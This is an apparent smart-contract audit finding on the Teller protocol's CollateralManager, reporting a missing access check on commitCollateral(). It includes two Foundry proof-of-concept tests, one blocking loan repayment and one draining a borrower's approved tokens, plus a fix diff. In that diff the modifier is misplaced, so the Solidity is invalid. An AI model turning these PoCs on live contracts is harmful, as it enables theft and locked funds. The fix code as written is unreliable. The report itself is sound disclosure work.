Inspex

high

# The commitCollateral() functions can be publicly called causing a permanent lock on user funds and draining approved funds.

## Summary
Any one can call `CollateralManager.commitCollateral()` of any bidId in any state. If it is called when the bid is pending, the arbitrary added collateral will be taken from the borrower once it is accepted. Otherwise, if it is called when the bid is accepted, the borrower will be unable to repay the loan, and the liquidator cannot liquidate the loan.

## Vulnerability Detail
The `commitCollateral()` functions in the `CollateralManager` is improperly implemented due to lack of `onlyTellerV2` modifier.

https://github.com/sherlock-audit/2023-03-teller/blob/main/teller-protocol-v2/packages/contracts/contracts/CollateralManager.sol#L117-L130

https://github.com/sherlock-audit/2023-03-teller/blob/main/teller-protocol-v2/packages/contracts/contracts/CollateralManager.sol#L138-L147

This allow anyone to call and add arbitrary collateral to any loan.

## Impact
If it is called when the bid is pending, the arbitrary added collateral will be taken from the borrower once it is accepted. Adding a malicious token to the loan can DOS it if the attackers want this technique to be used to force the loan to be liquidated.

Otherwise, if it is called when the bid is accepted, the borrower will be unable to repay the loan, and the liquidator cannot liquidate the loan. Resulting in a permanent lock on collateral.


The following POC can be tested by adding to test file TellerV2_Test.sol
https://github.com/sherlock-audit/2023-03-teller/blob/main/teller-protocol-v2/packages/contracts/tests/TellerV2/TellerV2_Test.sol

```solidity
function test_dos_repay() public {
    // Submit bid as borrower
    uint256 bidId = submitCollateralBid();
    // Accept bid as lender
    acceptBid(bidId);

    // Get newly created escrow
    address escrowAddress = collateralManager._escrows(bidId);
    CollateralEscrowV1 escrow = CollateralEscrowV1(escrowAddress);

    uint256 storedBidId = escrow.getBid();

    // Test that the created escrow has the same bidId and collateral stored
    assertEq(bidId, storedBidId, "Collateral escrow was not created");

    uint256 escrowBalance = wethMock.balanceOf(escrowAddress);

    assertEq(collateralAmount, escrowBalance, "Collateral was not stored");

    // attacker dos repay
    vm.startPrank(address(0x1337));
    TestERC20Token maliciousToken = new TestERC20Token("token", "token", 10000000, 18);
    Collateral memory cinfo;
    cinfo._amount = 1;
    cinfo._tokenId = 0;
    cinfo._collateralType = CollateralType.ERC20;
    cinfo._collateralAddress = address(maliciousToken);
    maliciousToken.transfer(address(borrower), 1);
    collateralManager.commitCollateral(bidId, cinfo);
    vm.stopPrank();

    // Repay loan
    uint256 borrowerBalanceBefore = wethMock.balanceOf(address(borrower));
    Payment memory amountOwed = tellerV2.calculateAmountOwed(bidId);
    borrower.addAllowance(
        address(daiMock),
        address(tellerV2),
        amountOwed.principal + amountOwed.interest
    );
    vm.expectRevert("No collateral balance for asset");
    borrower.repayLoanFull(bidId);
}

function test_drain_token() public {
    // Submit bid as borrower
    uint256 bidId = submitCollateralBid();

    // borrower hold usdc and have approved it to the platform
    TestERC20Token mockusdc = new TestERC20Token("usdc", "usdc", 10000000, 18);
    mockusdc.transfer(address(borrower), 10000000);
    borrower.addAllowance(address(mockusdc), address(collateralManager), 10000000);

    // attacker drain another token
    vm.startPrank(address(0x1337));
    Collateral memory cinfo;
    cinfo._amount = 10000000;
    cinfo._tokenId = 0;
    cinfo._collateralType = CollateralType.ERC20;
    cinfo._collateralAddress = address(mockusdc);
    collateralManager.commitCollateral(bidId, cinfo);
    vm.stopPrank();

    // Accept bid as lender
    acceptBid(bidId);

    // Get newly created escrow
    address escrowAddress = collateralManager._escrows(bidId);
    CollateralEscrowV1 escrow = CollateralEscrowV1(escrowAddress);

    uint256 storedBidId = escrow.getBid();

    // Test that the created escrow has the same bidId and collateral stored
    assertEq(bidId, storedBidId, "Collateral escrow was not created");

    uint256 escrowBalance = wethMock.balanceOf(escrowAddress);
    assertEq(collateralAmount, escrowBalance, "Collateral was not stored");

    // check token is drain to escrow
    uint256 mockusdcEscrowBalance = mockusdc.balanceOf(escrowAddress);
    assertEq(10000000, mockusdcEscrowBalance, "Collateral was not stored");
}
```

## Code Snippet
https://github.com/sherlock-audit/2023-03-teller/blob/main/teller-protocol-v2/packages/contracts/contracts/CollateralManager.sol#L117-L130

https://github.com/sherlock-audit/2023-03-teller/blob/main/teller-protocol-v2/packages/contracts/contracts/CollateralManager.sol#L138-L147
## Tool used

Manual Review

## Recommendation
Adding the `onlyTellerV2` modifier to `commitCollateral(uint256,Collateral[])` function, and removing the second `commitCollateral(uint256,Collateral)` function since it is never called by `TellerV2` contract.

https://github.com/sherlock-audit/2023-03-teller/blob/main/teller-protocol-v2/packages/contracts/contracts/CollateralManager.sol#L111-L147

```diff
  /**
   * @notice Checks the validity of a borrower's multiple collateral balances and commits it to a bid.
   * @param _bidId The id of the associated bid.
   * @param _collateralInfo Additional information about the collateral assets.
   * @return validation_ Boolean indicating if the collateral balances were validated.
   */
  function commitCollateral(
      uint256 _bidId,
      Collateral[] calldata _collateralInfo
- ) public returns (bool validation_) {
+ ) public returns onlyTellerV2 (bool validation_) {
      address borrower = tellerV2.getLoanBorrower(_bidId);
      (validation_, ) = checkBalances(borrower, _collateralInfo);

      //if the collateral info is valid, call commitCollateral for each one
      if (validation_) {
          for (uint256 i; i < _collateralInfo.length; i++) {
              Collateral memory info = _collateralInfo[i];
              _commitCollateral(_bidId, info);
          }
      }
  }

- /**
-  * @notice Checks the validity of a borrower's collateral balance and commits it to a bid.
-  * @param _bidId The id of the associated bid.
-  * @param _collateralInfo Additional information about the collateral asset.
-  * @return validation_ Boolean indicating if the collateral balance was validated.
-  */
- function commitCollateral(
-     uint256 _bidId,
-     Collateral calldata _collateralInfo
- ) public returns (bool validation_) {
-     address borrower = tellerV2.getLoanBorrower(_bidId);
-     validation_ = _checkBalance(borrower, _collateralInfo);
-     if (validation_) {
-         _commitCollateral(_bidId, _collateralInfo);
-     }
- }
```